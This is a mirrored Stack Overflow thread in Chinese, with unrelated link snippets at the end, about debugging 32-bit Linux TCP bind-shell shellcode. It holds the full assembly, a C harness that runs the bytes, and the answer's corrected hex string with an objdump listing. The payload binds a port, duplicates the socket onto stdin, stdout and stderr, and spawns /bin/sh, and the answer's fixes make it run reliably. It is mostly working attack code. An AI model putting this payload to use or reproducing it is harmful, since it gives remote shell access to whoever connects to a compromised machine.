草庐IT

c - 32 位 shellcode 在汇编中执行,但在 64 位操作系统上不在 c 中执行,即使使用 -m32

coder 2023-09-18 原文

我正在为 32 位系统开发一个 tcp 绑定(bind) shellcode。代码位于 32 位 ubuntu 上,主机操作系统是 64 位 Windows 10(他们甚至制作 32 位 Windows 10 吗?)

shellcode 是一个 tcp 绑定(bind)。它作为自己的独立可执行文件执行得很好,但是当代码转换为十六进制并放入 c 测试程序时,会出现段错误。即使在使用时也会发生这种情况 gcc -m32 -fno-stack-protector -z execstack

这是反汇编的shellcode

    global _start

    section .text
    _start:
    xor edi, edi

    ; Socket Call
    mov al, 0x66    ;SysSocket syscall
    mov bl, 1     ; Socket call
    push edi        ; INADDR_ANY
    push 1  ; SOCK_STREAM
    push 2  ; AF_INET
    mov ecx, esp    ; long *args
    int 0x80


    ;Bind
    mov edx, eax    ; reurn of Socket call is sockfd, place into edi
    mov al, 0x66    ; SysSocket syscall
    inc bl  ; Bind call
    push edi; INADDR_ANY
    push word 0x3582; Port Number
    push word 2     ; AF_INET
    mov ecx, esp
    push 16         ;addrlen
    push ecx        ;*sockaddr
    push edx        ;SockFD
    mov ecx, esp
    int 0x80

    ;Listen
    mov al, 0x66
    add bl, 2
    push edi
    push edx
    mov ecx, esp
    int 0x80

    ;Accept
    mov al, 0x66
    inc bl
    push edi
    push edi;
    push edx
    mov ecx, esp
    int 0x80

    ;ready for dup2

    xchg ebx, eax
    xor ecx, ecx
    mov cl, 2


    loop:
    mov al, 63
    int 0x80
    dec ecx
    cmp ecx, edi
    jge loop
    ; PUSH the first null dword
    push edi

    ; PUSH //bin/sh (8 bytes)

    push 0x68732f2f
    push 0x6e69622f

    mov ebx, esp

    push edi
    mov edx, esp

    push ebx
    mov ecx, esp

    mov al, 11
    int 0x80

这是 C 代码:

    #include<stdio.h>
    #include<string.h>

    unsigned char code[] = \ 
    "\x31\xff\xb0\x66\xb3\x01\x57\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2        
    \xb0\x66\xfe\xc3\x57\x66\x68\x82\x35\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52
    \x89\xe1\xcd\x80\xb0\x66\x80\xc3\x02\x57\x52\x89\xe1\xcd\x80\xb0\x66\xfe
    \xc3\x57\\x57\x52\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80
    \x49\x39\xf9\\x7d\xf7\x57\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
    \x89\xe3\x57\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

    main()
    {

    printf("Shellcode Length:  %d\n", strlen(code));

    int (*ret)() = (int(*)())code;

    ret();

    }

如果您能帮助我确定何时无法在 C 中执行以及如何修复,我们将不胜感激。谢谢!

对于那些希望使用此代码的人,我不承担任何责任。

最佳答案

您发布的代码有问题。用换行符拆分行不应该真正编译。我不确定您是否在问题中插入换行符以提高可读性,并且原始字符串在所有一行上都定义了字符串。在几个位置有一个无关的 \。有一个\\x57应该是\x57\\x7d应该是\x7d

它可能应该是这样的:

unsigned char code[] = \
"\x31\xff\xb0\x66\xb3\x01\x57\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2"
"\xb0\x66\xfe\xc3\x57\x66\x68\x82\x35\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52"
"\x89\xe1\xcd\x80\xb0\x66\x80\xc3\x02\x57\x52\x89\xe1\xcd\x80\xb0\x66\xfe"
"\xc3\x57\x57\x52\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80"
"\x49\x39\xf9\x7d\xf7\x57\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x57\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

上面的字符串将每一行放在自己的双引号之间,以便编译器在解析时将它们连接起来。

您的汇编代码可能很幸运,因为它完全可以作为一个独立的应用程序运行。在另一个程序中,寄存器很可能不会为零。您的代码执行此操作:

xor edi, edi

; Socket Call
mov al, 0x66    ;SysSocket syscall
mov bl, 1     ; Socket call

您将整个 EDI 寄存器置零,但您的代码依赖于 EAXEBX 的高位为零,这可能不是案子。您应该将这两个都归零:

xor edi, edi
xor eax, eax
xor ebx, ebx

; Socket Call
mov al, 0x66    ;SysSocket syscall
mov bl, 1     ; Socket call

将两个额外的指令添加到零寄存器将使字符串看起来像:

unsigned char code[] = \
"\x31\xff\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x57\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2"
"\xb0\x66\xfe\xc3\x57\x66\x68\x82\x35\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52"
"\x89\xe1\xcd\x80\xb0\x66\x80\xc3\x02\x57\x52\x89\xe1\xcd\x80\xb0\x66\xfe"
"\xc3\x57\x57\x52\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80"
"\x49\x39\xf9\x7d\xf7\x57\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x57\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

OBJDUMP 在这种情况下是一个有用的工具。它可以从可执行文件(在本例中是您的 C 代码)反汇编代码和数据。您可以使用此输出来确认字符串具有您期望的说明。 objdump -D -Mintel progname 其中 progname 是可执行文件的名称。 -Mintel 使用 Intel 语法而不是 AT&T 反汇编代码和数据。从字符数组 code 生成的输出看起来像这样:

 08049780 <code>:
 8049780:       31 ff                   xor    edi,edi
 8049782:       31 c0                   xor    eax,eax
 8049784:       31 db                   xor    ebx,ebx
 8049786:       b0 66                   mov    al,0x66
 8049788:       b3 01                   mov    bl,0x1
 804978a:       57                      push   edi
 804978b:       6a 01                   push   0x1
 804978d:       6a 02                   push   0x2
 804978f:       89 e1                   mov    ecx,esp
 8049791:       cd 80                   int    0x80
 8049793:       89 c2                   mov    edx,eax
 8049795:       b0 66                   mov    al,0x66
 8049797:       fe c3                   inc    bl
 8049799:       57                      push   edi
 804979a:       66 68 82 35             pushw  0x3582
 804979e:       66 6a 02                pushw  0x2
 80497a1:       89 e1                   mov    ecx,esp
 80497a3:       6a 10                   push   0x10
 80497a5:       51                      push   ecx
 80497a6:       52                      push   edx
 80497a7:       89 e1                   mov    ecx,esp
 80497a9:       cd 80                   int    0x80
 80497ab:       b0 66                   mov    al,0x66
 80497ad:       80 c3 02                add    bl,0x2
 80497b0:       57                      push   edi
 80497b1:       52                      push   edx
 80497b2:       89 e1                   mov    ecx,esp
 80497b4:       cd 80                   int    0x80
 80497b6:       b0 66                   mov    al,0x66
 80497b8:       fe c3                   inc    bl
 80497ba:       57                      push   edi
 80497bb:       57                      push   edi
 80497bc:       52                      push   edx
 80497bd:       89 e1                   mov    ecx,esp
 80497bf:       cd 80                   int    0x80
 80497c1:       93                      xchg   ebx,eax
 80497c2:       31 c9                   xor    ecx,ecx
 80497c4:       b1 02                   mov    cl,0x2
 80497c6:       b0 3f                   mov    al,0x3f
 80497c8:       cd 80                   int    0x80
 80497ca:       49                      dec    ecx
 80497cb:       39 f9                   cmp    ecx,edi
 80497cd:       7d f7                   jge    80497c6 <code+0x46>
 80497cf:       57                      push   edi
 80497d0:       68 2f 2f 73 68          push   0x68732f2f
 80497d5:       68 2f 62 69 6e          push   0x6e69622f
 80497da:       89 e3                   mov    ebx,esp
 80497dc:       57                      push   edi
 80497dd:       89 e2                   mov    edx,esp
 80497df:       53                      push   ebx
 80497e0:       89 e1                   mov    ecx,esp
 80497e2:       b0 0b                   mov    al,0xb
 80497e4:       cd 80                   int    0x80

关于c - 32 位 shellcode 在汇编中执行,但在 64 位操作系统上不在 c 中执行,即使使用 -m32,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/43878767/

有关c - 32 位 shellcode 在汇编中执行,但在 64 位操作系统上不在 c 中执行,即使使用 -m32的更多相关文章

  1. ruby-openid:执行发现时未设置@socket - 2

    我在使用omniauth/openid时遇到了一些麻烦。在尝试进行身份验证时,我在日志中发现了这一点:OpenID::FetchingError:Errorfetchinghttps://www.google.com/accounts/o8/.well-known/host-meta?hd=profiles.google.com%2Fmy_username:undefinedmethod`io'fornil:NilClass重要的是undefinedmethodio'fornil:NilClass来自openid/fetchers.rb,在下面的代码片段中:moduleNetclass

  2. ruby - 在 64 位 Snow Leopard 上使用 rvm、postgres 9.0、ruby 1.9.2-p136 安装 pg gem 时出现问题 - 2

    我想为Heroku构建一个Rails3应用程序。他们使用Postgres作为他们的数据库,所以我通过MacPorts安装了postgres9.0。现在我需要一个postgresgem并且共识是出于性能原因你想要pggem。但是我对我得到的错误感到非常困惑当我尝试在rvm下通过geminstall安装pg时。我已经非常明确地指定了所有postgres目录的位置可以找到但仍然无法完成安装:$envARCHFLAGS='-archx86_64'geminstallpg--\--with-pg-config=/opt/local/var/db/postgresql90/defaultdb/po

  3. ruby - 什么是填充的 Base64 编码字符串以及如何在 ruby​​ 中生成它们? - 2

    我正在使用的第三方API的文档状态:"[O]urAPIonlyacceptspaddedBase64encodedstrings."什么是“填充的Base64编码字符串”以及如何在Ruby中生成它们。下面的代码是我第一次尝试创建转换为Base64的JSON格式数据。xa=Base64.encode64(a.to_json) 最佳答案 他们说的padding其实就是Base64本身的一部分。它是末尾的“=”和“==”。Base64将3个字节的数据包编码为4个编码字符。所以如果你的输入数据有长度n和n%3=1=>"=="末尾用于填充n%

  4. ruby-on-rails - form_for 中不在模型中的自定义字段 - 2

    我想向我的Controller传递一个参数,它是一个简单的复选框,但我不知道如何在模型的form_for中引入它,这是我的观点:{:id=>'go_finance'}do|f|%>Transferirde:para:Entrada:"input",:placeholder=>"Quantofoiganho?"%>Saída:"output",:placeholder=>"Quantofoigasto?"%>Nota:我想做一个额外的复选框,但我该怎么做,模型中没有一个对象,而是一个要检查的对象,以便在Controller中创建一个ifelse,如果没有检查,请帮助我,非常感谢,谢谢

  5. ruby - Chef 执行非顺序配方 - 2

    我遵循了教程http://gettingstartedwithchef.com/,第1章。我的运行list是"run_list":["recipe[apt]","recipe[phpap]"]我的phpapRecipe默认Recipeinclude_recipe"apache2"include_recipe"build-essential"include_recipe"openssl"include_recipe"mysql::client"include_recipe"mysql::server"include_recipe"php"include_recipe"php::modul

  6. ruby - 即使失败也继续进行多主机测试 - 2

    我已经构建了一些serverspec代码来在多个主机上运行一组测试。问题是当任何测试失败时,测试会在当前主机停止。即使测试失败,我也希望它继续在所有主机上运行。Rakefile:namespace:specdotask:all=>hosts.map{|h|'spec:'+h.split('.')[0]}hosts.eachdo|host|begindesc"Runserverspecto#{host}"RSpec::Core::RakeTask.new(host)do|t|ENV['TARGET_HOST']=hostt.pattern="spec/cfengine3/*_spec.r

  7. ruby - 当使用::指定模块时,为什么 Ruby 不在更高范围内查找类? - 2

    我刚刚被困在这个问题上一段时间了。以这个基地为例:moduleTopclassTestendmoduleFooendend稍后,我可以通过这样做在Foo中定义扩展Test的类:moduleTopmoduleFooclassSomeTest但是,如果我尝试通过使用::指定模块来最小化缩进:moduleTop::FooclassFailure这失败了:NameError:uninitializedconstantTop::Foo::Test这是一个错误,还是仅仅是Ruby解析变量名的方式的逻辑结果? 最佳答案 Isthisabug,or

  8. ruby - 为什么 Ruby 的 each 迭代器先执行? - 2

    我在用Ruby执行简单任务时遇到了一件奇怪的事情。我只想用每个方法迭代字母表,但迭代在执行中先进行:alfawit=("a".."z")puts"That'sanalphabet:\n\n#{alfawit.each{|litera|putslitera}}"这段代码的结果是:(缩写)abc⋮xyzThat'sanalphabet:a..z知道为什么它会这样工作或者我做错了什么吗?提前致谢。 最佳答案 因为您的each调用被插入到在固定字符串之前执行的字符串文字中。此外,each返回一个Enumerable,实际上您甚至打印它。试试

  9. C# 到 Ruby sha1 base64 编码 - 2

    我正在尝试在Ruby中复制Convert.ToBase64String()行为。这是我的C#代码:varsha1=newSHA1CryptoServiceProvider();varpasswordBytes=Encoding.UTF8.GetBytes("password");varpasswordHash=sha1.ComputeHash(passwordBytes);returnConvert.ToBase64String(passwordHash);//returns"W6ph5Mm5Pz8GgiULbPgzG37mj9g="当我在Ruby中尝试同样的事情时,我得到了相同sha

  10. ruby - 检查是否通过 require 执行或导入了 Ruby 程序 - 2

    如何检查Ruby文件是否是通过“require”或“load”导入的,而不是简单地从命令行执行的?例如:foo.rb的内容:puts"Hello"bar.rb的内容require'foo'输出:$./foo.rbHello$./bar.rbHello基本上,我想调用bar.rb以不执行puts调用。 最佳答案 将foo.rb改为:if__FILE__==$0puts"Hello"end检查__FILE__-当前ruby​​文件的名称-与$0-正在运行的脚本的名称。 关于ruby-检查是否

随机推荐